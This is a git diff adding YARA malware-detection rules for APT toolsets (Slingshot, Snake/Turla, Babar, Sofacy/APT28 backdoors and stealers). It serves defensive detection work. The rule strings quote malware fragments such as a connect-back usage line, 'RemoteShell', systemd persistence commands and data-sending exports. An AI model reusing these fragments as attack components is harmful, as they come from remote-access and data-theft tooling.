\ No newline at end of file
diff --git a/yara-Neo23x0/apt_slingshot.yar b/yara-Neo23x0/apt_slingshot.yar
new file mode 100644
index 0000000..c6b8100
--- /dev/null
+++ b/yara-Neo23x0/apt_slingshot.yar
@@ -0,0 +1,144 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2018-03-09
+   Identifier: Slingshot APT
+   Reference: https://securelist.com/apt-slingshot/84312/
+*/
+
+import "pe"
+
+rule Slingshot_APT_Spork_Downloader {
+   meta:
+      description = "Detects malware from Slingshot APT"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://securelist.com/apt-slingshot/84312/"
+      date = "2018-03-09"
+      id = "21e02f78-40d8-5b56-b747-3f2a7a692259"
+   strings:
+      $s1 = "Usage: spork -c IP:PORT" fullword ascii wide
+      $s2 = "connect-back IP address and port number"
+   condition:
+      uint16(0) == 0x5a4d and filesize < 3000KB and 1 of them
+}
+
+rule Slingshot_APT_Minisling {
+   meta:
+      description = "Detects malware from Slingshot APT"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://securelist.com/apt-slingshot/84312/"
+      date = "2018-03-09"
+      id = "99f9d5a1-b29f-52f7-9aec-02df4a51a756"
+   strings:
+      $s1 = "{6D29520B-F138-442e-B29F-A4E7140F33DE}" fullword ascii wide
+   condition:
+      uint16(0) == 0x5a4d and filesize < 3000KB and 1 of them
+}
+
+rule Slingshot_APT_Ring0_Loader {
+   meta:
+      description = "Detects malware from Slingshot APT"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://securelist.com/apt-slingshot/84312/"
+      date = "2018-03-09"
+      id = "b5301a45-a4ec-5e56-a990-bc6300ee6365"
+   strings:
+      $s1 = " -> Missing element in DataDir -- cannot install" ascii
+      $s2 = " -> Primary loader not present in the DataDir" ascii
+      $s3 = "\\\\.\\amxpci" fullword ascii
+      $s4 = " -> [Goad] ERROR in CreateFile:" fullword ascii
+      $s5 = "\\\\.\\Sandra" fullword ascii
+      $s6 = " -> [Sandra] RingZeroCode" fullword ascii
+      $s7 = " -> [Sandra] Value from IOCTL_RDMSR:" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 3000KB and 1 of them
+}
+
+rule Slingshot_APT_Malware_1 {
+   meta:
+      description = "Detects malware from Slingshot APT"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://securelist.com/apt-slingshot/84312/"
+      date = "2018-03-09"
+      hash1 = "4b250304e28648574b441831bf579b844e8e1fda941fb7f86a7ea7c4291bbca6"
+      id = "72f4a52b-c70b-511f-acf5-6d680a95c7d6"
+   strings:
+      $s1 = "SlingDll.dll" fullword ascii
+      $s2 = "BogusDll." ascii
+      $s3 = "smsvcrt -h 0x%p" fullword wide
+   condition:
+      uint16(0) == 0x5a4d and filesize < 700KB and (
+        pe.imphash() == "7ead4bb0d752003ce7c062adb7ffc51a" or
+        pe.exports("WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW0000") or
+        1 of them
+      )
+}
+
+rule Slingshot_APT_Malware_2 {
+   meta:
+      description = "Detects malware from Slingshot APT"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://securelist.com/apt-slingshot/84312/"
+      date = "2018-03-09"
+      hash1 = "2a51ef6d115daa648ddd57d1e4480f5a18daf40986bfde32aab19349aa010e67"
+      id = "b85d3d81-0148-5ea0-9eff-d9bb63e3e75b"
+   strings:
+      $x1 = "\\\\?\\c:\\RECYCLER\\S-1-5-21-2225084468-623340172-1005306204-500\\INFO5" fullword wide
+      $x_slingshot = {09 46 BE 57 42 DD 70 35 5E }
+
+      $s1 = "Opening service %s for stop access failed.#" fullword wide
+      $s2 = "LanMan setting <%s> is ignored because system has a higher value already." fullword wide
+      $s3 = "\\DosDevices\\amxpci" wide
+      $s4 = "lNTLMqSpPD" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 900KB and ( 1 of ($x*) or 4 of them )
+}
+
+rule Slingshot_APT_Malware_3 {
+   meta:
+      description = "Detects malware from Slingshot APT"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://securelist.com/apt-slingshot/84312/"
+      date = "2018-03-09"
+      hash1 = "fa513c65cded25a7992e2b0ab03c5dd5c6d0fc2282cd64a1e11a387a3341ce18"
+      id = "4ef1f9a6-3d80-545e-8ac3-c6d46c71fca1"
+   strings:
+      $a1 = "chmhlpr.dll" fullword ascii
+      $s2 = "%hc%hc%hc%hc" fullword ascii
+      $s3 = "%hc%hc%hc=" fullword ascii
+      $s4 = "%hc%hc==" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 100KB and (
+        pe.imphash() == "2f3b3df466e24e0792e0e90d668856bc" or
+        pe.exports("dll_u") or
+        ( $a1 and 2 of ($s*) )
+      )
+}
+
+rule Slingshot_APT_Malware_4 {
+   meta:
+      description = "Detects malware from Slingshot APT"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://securelist.com/apt-slingshot/84312/"
+      date = "2018-03-09"
+      hash1 = "38c4f5320b03cbaf5c14997ea321507730a8c16906e5906cbf458139c91d5945"
+      id = "0f957330-1834-550f-ba5d-fb2bf0dfba7f"
+   strings:
+      $x1 = "Ss -a 4104 -s 257092 -o 8 -l 406016 -r 4096 -z 315440" fullword wide
+
+      $s1 = "Slingshot" fullword ascii
+      $s2 = "\\\\?\\e:\\$Recycle.Bin\\" wide
+      $s3 = "LineRecs.reloc" fullword ascii
+      $s4 = "EXITGNG" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 1000KB and (
+         $x1 or 2 of them
+      )
+}
diff --git a/yara-Neo23x0/apt_snaketurla_osx.yar b/yara-Neo23x0/apt_snaketurla_osx.yar
new file mode 100644
index 0000000..078f87b
--- /dev/null
+++ b/yara-Neo23x0/apt_snaketurla_osx.yar
@@ -0,0 +1,87 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-05-04
+   Identifier: Snake / Turla
+   Reference: https://goo.gl/QaOh4V
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule SnakeTurla_Malware_May17_1 {
+   meta:
+      description = "Detects Snake / Turla Sample"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/QaOh4V"
+      date = "2017-05-04"
+      modified = "2023-01-06"
+      hash1 = "5b7792a16c6b7978fca389882c6aeeb2c792352076bf6a064e7b8b90eace8060"
+      id = "ddbbd602-b7f0-5e14-be0f-0c84bb22ddeb"
+   strings:
+      $s1 = "/Users/vlad/Desktop/install/install/" ascii
+   condition:
+      ( uint16(0) == 0xfacf and filesize < 200KB and all of them )
+}
+
+rule SnakeTurla_Malware_May17_2 {
+   meta:
+      description = "Detects Snake / Turla Sample"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/QaOh4V"
+      date = "2017-05-04"
+      hash1 = "b8ee4556dc09b28826359b98343a4e00680971a6f8c6602747bd5d723d26eaea"
+      id = "b3e94016-591c-5e39-b5e7-328e0761e535"
+   strings:
+      $s1 = "b_openssl: oops - number of mutexes is 0" fullword ascii
+      $s2 = "networksetup -get%sproxy Ethernet" fullword ascii
+      $s3 = "012A04DECBC441e49C527B2798F54CA7LOG_NAMED_PIPE_NAME" fullword ascii
+   condition:
+      ( uint16(0) == 0xfacf and filesize < 6000KB and all of them )
+}
+
+rule SnakeTurla_Malware_May17_4 {
+   meta:
+      description = "Detects Snake / Turla Sample"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/QaOh4V"
+      date = "2017-05-04"
+      hash1 = "d5ea79632a1a67abbf9fb1c2813b899c90a5fb9442966ed4f530e92715087ee2"
+      id = "797dedd6-a13e-529f-bae4-4043294672c4"
+   strings:
+      $s1 = "Install Adobe Flash Player.app/com.adobe.updatePK" fullword ascii
+   condition:
+      ( uint16(0) == 0x4b50 and filesize < 5000KB and all of them )
+}
+
+rule SnakeTurla_Installd_SH {
+   meta:
+      description = "Detects Snake / Turla Sample"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/QaOh4V"
+      date = "2017-05-04"
+      id = "65a97c0d-5c69-5e58-9a18-10e5684bc218"
+   strings:
+      $s1 = "PIDS=`ps cax | grep installdp" ascii
+      $s2 = "${SCRIPT_DIR}/installdp ${FILE}" ascii
+   condition:
+      ( uint16(0) == 0x2123 and filesize < 20KB and all of them )
+}
+
+rule SnakeTurla_Install_SH {
+   meta:
+      description = "Detects Snake / Turla Sample"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/QaOh4V"
+      date = "2017-05-04"
+      id = "68775c54-46f8-5d44-ba63-6726d2bb8016"
+   strings:
+      $s1 = "${TARGET_PATH}/installd.sh" ascii
+      $s2 = "$TARGET_PATH2/com.adobe.update.plist" ascii
+   condition:
+   ( uint16(0) == 0x2123 and filesize < 20KB and all of them )
+}
diff --git a/yara-Neo23x0/apt_snowglobe_babar.yar b/yara-Neo23x0/apt_snowglobe_babar.yar
new file mode 100644
index 0000000..a75e8d1
--- /dev/null
+++ b/yara-Neo23x0/apt_snowglobe_babar.yar
@@ -0,0 +1,37 @@
+
+/* SnowGlobe Babar ---------------------------------------------------------- */
+
+rule SNOWGLOBE_Babar_Malware {
+	meta:
+		description = "Detects the Babar Malware used in the SNOWGLOBE attacks - file babar.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://motherboard.vice.com/read/meet-babar-a-new-malware-almost-certainly-created-by-france"
+		date = "2015/02/18"
+		hash = "27a0a98053f3eed82a51cdefbdfec7bb948e1f36"
+		score = 80
+		id = "53a61065-a3b3-563e-8ecc-513d8da68085"
+	strings:
+		$z0 = "admin\\Desktop\\Babar64\\Babar64\\obj\\DllWrapper" ascii fullword
+		$z1 = "User-Agent: Mozilla/4.0 (compatible; MSI 6.0;" ascii fullword
+		$z2 = "ExecQueryFailled!" fullword ascii
+		$z3 = "NBOT_COMMAND_LINE" fullword
+		$z4 = "!!!EXTRACT ERROR!!!File Does Not Exists-->[%s]" fullword
+
+		$s1 = "/s /n %s \"%s\"" fullword ascii
+		$s2 = "%%WINDIR%%\\%s\\%s" fullword ascii
+		$s3 = "/c start /wait " fullword ascii
+		$s4 = "(D;OICI;FA;;;AN)(A;OICI;FA;;;BG)(A;OICI;FA;;;SY)(A;OICI;FA;;;LS)" ascii
+
+		$x1 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\" ascii
+		$x2 = "%COMMON_APPDATA%" fullword ascii
+		$x4 = "CONOUT$" fullword ascii
+		$x5 = "cmd.exe" fullword ascii
+		$x6 = "DLLPATH" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1MB and
+		(
+			( 1 of ($z*) and 1 of ($x*) ) or
+			( 3 of ($s*) and 4 of ($x*) )
+		)
+}
diff --git a/yara-Neo23x0/apt_sofacy.yar b/yara-Neo23x0/apt_sofacy.yar
new file mode 100644
index 0000000..6047ecb
--- /dev/null
+++ b/yara-Neo23x0/apt_sofacy.yar
@@ -0,0 +1,78 @@
+
+import "pe"
+
+rule Sofacy_Campaign_Mal_Feb18_cdnver {
+   meta:
+      description = "Detects Sofacy malware"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/ClearskySec/status/960924755355369472"
+      date = "2018-02-07"
+      hash1 = "12e6642cf6413bdf5388bee663080fa299591b2ba023d069286f3be9647547c8"
+      id = "a5c72ddd-91b0-5410-9d81-38a138ec7efe"
+   strings:
+      $x1 = "cdnver.dll" fullword wide
+      $x2 = { 25 73 0A 00 00 00 00 00 30 00 00 00 20 00 2D 00
+              20 00 00 00 0A 00 00 00 25 00 73 00 00 00 00 00
+              69 00 6D 00 61 00 67 00 65 00 2F 00 6A 00 70 00
+              65 00 67 }
+      $s1 = "S7%s - %lu" fullword ascii
+      $s2 = "SNFIRNW" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 90KB and (
+        pe.imphash() == "01f3d0fe6fb9d9df24620e67afc143c7" or
+        1 of ($x*) or
+        2 of them
+      )
+}
+
+rule Sofacy_Trojan_Loader_Feb18_1 {
+   meta:
+      description = "Sofacy Activity Feb 2018"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.reverse.it/sample/e3399d4802f9e6d6d539e3ae57e7ea9a54610a7c4155a6541df8e94d67af086e?environmentId=100"
+      date = "2018-03-01"
+      hash1 = "335565711db93cd02d948f472c51598be4d62d60f70f25a20449c07eae36c8c5"
+      id = "358d7a77-0ff5-572e-9cd8-b2cebaace02f"
+   strings:
+      $x1 = "%appdata%\\nad.dll" fullword wide
+      $s3 = "%appdata%\\nad.bat" fullword wide
+
+      $s1 = "apds.dll" fullword ascii
+      $s2 = "nad.dll\"" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 300KB and (
+        pe.imphash() == "a2d1be6502b4b3c28959a4fb0196ea45" or
+        pe.exports("VidBitRpl") or
+        1 of ($x*) or
+        2 of them
+      )
+}
+
+rule APT_ATP28_Sofacy_Indicators_May19_1 {
+   meta:
+      description = "Detects APT28 Sofacy indicators in samples"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/cyb3rops/status/1129647994603790338"
+      date = "2019-05-18"
+      score = 60
+      hash1 = "80548416ffb3d156d3ad332718ed322ef54b8e7b2cc77a7c5457af57f51d987a"
+      hash2 = "b40909ac0b70b7bd82465dfc7761a6b4e0df55b894dd42290e3f72cb4280fa44"
+      id = "ca768b60-7094-537a-b848-28bd42555287"
+   strings:
+      $x1 = "c:\\Users\\user\\Desktop\\openssl-1.0.1e_m\\/ssl/cert.pem" ascii
+      $x2 = "C:\\Users\\User\\Desktop\\Downloader_Poco" ascii
+
+      $s1 = "w%SystemRoot%\\System32\\npmproxy.dll" fullword wide
+
+      $op0 = { e8 41 37 f6 ff 48 2b e0 e8 99 ff ff ff 48 8b d0 }
+      $op1 = { e9 34 3c e3 ff cc cc cc cc 48 8d 8a 20 }
+      $op2 = { e8 af bb ef ff b8 ff ff ff ff e9 f4 01 00 00 8b }
+   condition:
+      uint16(0) == 0x5a4d and filesize < 10000KB and (
+         pe.imphash() == "f4e1c3aaec90d5dfa23c04da75ac9501" or
+         1 of ($x*) or
+         ( $s1 and 2 of ($op*) )
+      )
+}
diff --git a/yara-Neo23x0/apt_sofacy_cannon.yar b/yara-Neo23x0/apt_sofacy_cannon.yar
new file mode 100644
index 0000000..e329f64
--- /dev/null
+++ b/yara-Neo23x0/apt_sofacy_cannon.yar
@@ -0,0 +1,32 @@
+
+rule APT_APT28_Cannon_Trojan_Nov18_1 {
+   meta:
+      description = "Detects Cannon Trojan used by Sofacy"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/"
+      date = "2018-11-20"
+      hash1 = "61a1f3b4fb4dbd2877c91e81db4b1af8395547eab199bf920e9dd11a1127221e"
+      id = "a60f3e75-8bfe-592e-90d1-321bd86173ac"
+   strings:
+      $xc1 = { 46 6F 72 6D 31 00 63 61 6E 6E 6F 6E 00 4D 44 61
+               74 00 41 55 54 48 }
+      $xc2 = { 13 4F 00 53 00 3A 00 20 00 20 00 7B 00 30 00 7D
+               00 0A 00 00 17 53 00 44 00 69 00 72 00 3A 00 20
+               00 20 00 7B 00 30 00 7D 00 0A 00 00 1B 44 00 6F
+               00 6D 00 61 00 69 00 6E 00 3A 00 20 00 20 00 7B
+               00 30 00 7D 00 0A 00 00 15 48 00 6F 00 73 00 74
+               00 3A 00 20 00 7B 00 30 00 7D 00 0A 00 00 21 43
+               00 75 00 72 00 72 00 65 00 6E 00 74 00 55 00 73
+               00 72 00 3A 00 20 00 7B 00 30 00 7D 00 0A 00 00
+               17 54 00 69 00 6D 00 65 00 5A 00 3A 00 20 00 7B
+               00 30 00 7D }
+      $x2 = "\\Desktop\\cannon\\obj\\" ascii
+      $x3 = "C:\\Users\\Public\\Music\\s.txt" fullword wide
+
+      $s1 = "C:\\Documents and Settings\\All Users\\Documents" fullword wide
+      $s2 = "notEncoded - Value here is never used" fullword wide
+      $s3 = "Windows NT\\CurrentVersion\\Winlogon\"" fullword wide
+      $s4 = "AnswerMessageTraverser`1" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 1000KB and 1 of ($x*) or 3 of them
+}
diff --git a/yara-Neo23x0/apt_sofacy_dec15.yar b/yara-Neo23x0/apt_sofacy_dec15.yar
new file mode 100644
index 0000000..ab0112b
--- /dev/null
+++ b/yara-Neo23x0/apt_sofacy_dec15.yar
@@ -0,0 +1,143 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-12-04
+	Identifier: Sofacy Malware
+*/
+
+rule Sofacy_Malware_StrangeSpaces {
+	meta:
+		description = "Detetcs strange strings from Sofacy malware with many spaces"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/"
+		date = "2015-12-04"
+		id = "60f99b88-f256-5289-852c-c0bf27f1cbd4"
+	strings:
+		$s2 = "Delete Temp Folder Service                                  " fullword wide
+		$s3 = " Operating System                        " fullword wide
+		$s4 = "Microsoft Corporation                                       " fullword wide
+		$s5 = " Microsoft Corporation. All rights reserved.               " fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 50KB and 3 of them
+}
+
+rule Sofacy_Malware_AZZY_Backdoor_1 {
+	meta:
+		description = "AZZY Backdoor - Sample 1"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/"
+		date = "2015-12-04"
+		hash = "a9dc96d45702538c2086a749ba2fb467ba8d8b603e513bdef62a024dfeb124cb"
+		id = "184dc45e-8014-5dcf-a033-d77586c60fdf"
+	strings:
+		$s0 = "advstorshell.dll" fullword wide
+		$s1 = "advshellstore.dll" fullword ascii
+		$s2 = "Windows Advanced Storage Shell Extension DLL" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 150KB and 2 of them
+}
+
+rule Sofacy_AZZY_Backdoor_Implant_1 {
+	meta:
+		description = "AZZY Backdoor Implant 4.3 - Sample 1"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/"
+		date = "2015-12-04"
+		hash = "1bab1a3e0e501d3c14652ecf60870e483ed4e90e500987c35489f17a44fef26c"
+		id = "ec6bf8ca-ccb9-532e-8b0d-1fba59efa2da"
+	strings:
+		$s1 = "\\tf394kv.dll" wide
+		$s2 = "DWN_DLL_MAIN.dll" fullword ascii
+		$s3 = "?SendDataToServer_2@@YGHPAEKEPAPAEPAK@Z" ascii
+		$s4 = "?Applicate@@YGHXZ" ascii
+		$s5 = "?k@@YGPAUHINSTANCE__@@PBD@Z" ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and 2 of them
+}
+
+rule Sofacy_AZZY_Backdoor_HelperDLL {
+	meta:
+		description = "Dropped C&C helper DLL for AZZY 4.3"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/"
+		date = "2015-12-04"
+		hash = "6cd30c85dd8a64ca529c6eab98a757fb326de639a39b597414d5340285ba91c6"
+		id = "eae089a0-21dc-5d6e-a4bc-7181dc9b8b35"
+	strings:
+		$s0 = "snd.dll" fullword ascii
+		$s1 = "InternetExchange" fullword ascii
+		$s2 = "SendData"
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+/* Super Rules ------------------------------------------------------------- */
+
+rule Sofacy_CollectorStealer_Gen1 {
+	meta:
+		description = "Generic rule to detect Sofacy Malware Collector Stealer"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/"
+		date = "2015-12-04"
+		super_rule = 1
+		hash1 = "4e4606313c423b681e11110ca5ed3a2b2632ec6c556b7ab9642372ae709555f3"
+		hash2 = "92dcb0d8394d0df1064e68d90cd90a6ae5863e91f194cbaac85ec21c202f581f"
+		id = "f9462dd9-f6b6-59f4-a443-12d6f3be444e"
+	strings:
+		$s0 = "NvCpld.dll" fullword ascii
+		$s1 = "NvStop" fullword ascii
+		$s2 = "NvStart" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them
+}
+
+rule Sofacy_CollectorStealer_Gen2 {
+	meta:
+		description = "File collectors / USB stealers - Generic"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/"
+		date = "2015-12-04"
+		hash = "e917166adf6e1135444f327d8fff6ec6c6a8606d65dda4e24c2f416d23b69d45"
+		hash = "92dcb0d8394d0df1064e68d90cd90a6ae5863e91f194cbaac85ec21c202f581f"
+		hash = "b1f2d461856bb6f2760785ee1af1a33c71f84986edf7322d3e9bd974ca95f92d"
+		id = "03ced94f-de20-56c5-bf17-1ec7d8610684"
+	strings:
+		$s1 = "msdetltemp.dll" fullword ascii
+		$s2 = "msdeltemp.dll" fullword wide
+		$s3 = "Delete Temp Folder Service" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and 2 of them
+}
+
+rule Sofacy_CollectorStealer_Gen3 {
+	meta:
+		description = "File collectors / USB stealers - Generic"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/"
+		date = "2015-12-04"
+		hash = "92dcb0d8394d0df1064e68d90cd90a6ae5863e91f194cbaac85ec21c202f581f"
+		hash = "4e4606313c423b681e11110ca5ed3a2b2632ec6c556b7ab9642372ae709555f3"
+		id = "d2ee1a22-6aae-51fc-9043-a7ba99769376"
+	strings:
+		$s1 = "NvCpld.dll" fullword ascii
+		$s4 = "NvStart" fullword ascii
+		$s5 = "NvStop" fullword ascii
+
+		$a1 = "%.4d%.2d%.2d%.2d%.2d%.2d%.2d%.4d" fullword wide
+		$a2 = "IGFSRVC.dll" fullword wide
+		$a3 = "Common User Interface" fullword wide
+		$a4 = "igfsrvc Module" fullword wide
+
+		$b1 = " Operating System                        " fullword wide
+		$b2 = "Microsoft Corporation                                       " fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 150KB and
+		( all of ($s*) and (all of ($a*) or all of ($b*)))
+}
diff --git a/yara-Neo23x0/apt_sofacy_fysbis.yar b/yara-Neo23x0/apt_sofacy_fysbis.yar
new file mode 100644
index 0000000..38d600f
--- /dev/null
+++ b/yara-Neo23x0/apt_sofacy_fysbis.yar
@@ -0,0 +1,55 @@
+
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-02-13
+	Identifier: Sofacy Fysbis
+*/
+
+rule Sofacy_Fybis_ELF_Backdoor_Gen1 {
+	meta:
+		description = "Detects Sofacy Fysbis Linux Backdoor"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://researchcenter.paloaltonetworks.com/2016/02/a-look-into-fysbis-sofacys-linux-backdoor/"
+		date = "2016-02-13"
+		modified = "2023-01-27"
+		score = 80
+		hash1 = "02c7cf55fd5c5809ce2dce56085ba43795f2480423a4256537bfdfda0df85592"
+		hash2 = "8bca0031f3b691421cb15f9c6e71ce193355d2d8cf2b190438b6962761d0c6bb"
+		id = "c6abf33e-9c5b-5e0f-b7f0-a0741bf9cc3a"
+	strings:
+		$x1 = "Your command not writed to pipe" fullword ascii
+		$x2 = "Terminal don`t started for executing command" fullword ascii
+		$x3 = "Command will have end with \\n" fullword ascii
+
+		$s1 = "WantedBy=multi-user.target' >> /usr/lib/systemd/system/" ascii
+		$s2 = "Success execute command or long for waiting executing your command" fullword ascii
+		$s3 = "ls /etc | egrep -e\"fedora*|debian*|gentoo*|mandriva*|mandrake*|meego*|redhat*|lsb-*|sun-*|SUSE*|release\"" fullword ascii
+		$s4 = "rm -f /usr/lib/systemd/system/" ascii
+		$s5 = "ExecStart=" fullword ascii
+		$s6 = "<table><caption><font size=4 color=red>TABLE EXECUTE FILES</font></caption>" fullword ascii
+	condition:
+		( uint16(0) == 0x457f and filesize < 500KB and 1 of ($x*) ) or
+		( 1 of ($x*) and 3 of ($s*) )
+}
+
+rule Sofacy_Fysbis_ELF_Backdoor_Gen2 {
+	meta:
+		description = "Detects Sofacy Fysbis Linux Backdoor"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://researchcenter.paloaltonetworks.com/2016/02/a-look-into-fysbis-sofacys-linux-backdoor/"
+		date = "2016-02-13"
+		score = 80
+		hash1 = "02c7cf55fd5c5809ce2dce56085ba43795f2480423a4256537bfdfda0df85592"
+		hash2 = "8bca0031f3b691421cb15f9c6e71ce193355d2d8cf2b190438b6962761d0c6bb"
+		hash3 = "fd8b2ea9a2e8a67e4cb3904b49c789d57ed9b1ce5bebfe54fe3d98214d6a0f61"
+		id = "d4e3a8bb-b23a-53a4-b5fb-b321a3417b43"
+	strings:
+		$s1 = "RemoteShell" ascii
+		$s2 = "basic_string::_M_replace_dispatch" fullword ascii
+		$s3 = "HttpChannel" ascii
+	condition:
+		uint16(0) == 0x457f and filesize < 500KB and all of them
+}
diff --git a/yara-Neo23x0/apt_sofacy_hospitality.yar b/yara-Neo23x0/apt_sofacy_hospitality.yar
new file mode 100644
index 0000000..7b4a155
--- /dev/null
+++ b/yara-Neo23x0/apt_sofacy_hospitality.yar
@@ -0,0 +1,33 @@
+import "pe"
+
+rule APT28_HospitalityMalware_document {
+   meta:
+      description = "Yara Rule for APT28_Hospitality_Malware document identification"
+      author = "CSE CybSec Enterprise - Z-Lab"
+      reference = "http://csecybsec.com/download/zlab/APT28_Hospitality_Malware_report.pdf"
+      last_updated = "2017-10-02"
+      tlp = "white"
+      id = "722e80ef-d729-5887-9853-cd06128f506d"
+   strings:
+      /* this string identifies the malicious payload */
+      $a = {75 52 B9 ED 1B D6 83 0F DB 24 CA 87 4F 5F 25 36 BF 66 BA}
+      /* this string identifies the document */
+      $b = {EC 3B 6D 74 5B C5 95 F3 9E 24 5B FE 4A 64 C7 09 CE 07 C9 58 4E 62 3B}
+   condition:
+      all of them and filesize > 75KB and filesize < 82KB
+}
+
+rule APT28_HospitalityMalware_mvtband_file {
+   meta:
+      description = "Yara Rule for mvtband.dll malware"
+      author = "CSE CybSec Enterprise - Z-Lab"
+      reference = "http://csecybsec.com/download/zlab/APT28_Hospitality_Malware_report.pdf"
+      last_updated = "2017-10-02"
+      tlp = "white"
+      id = "f9e34c77-38b3-513e-bb29-148ac7058596"
+   strings:
+      $a = "DGMNOEP"
+      $b = {C7 45 94 0A 25 73 30 8D 45 94}  // two significant instructions
+   condition:
+      all of them and pe.sections[2].raw_data_size == 0
+}
\ No newline at end of file
diff --git a/yara-Neo23x0/apt_sofacy_jun16.yar b/yara-Neo23x0/apt_sofacy_jun16.yar
new file mode 100644
index 0000000..0f1118f
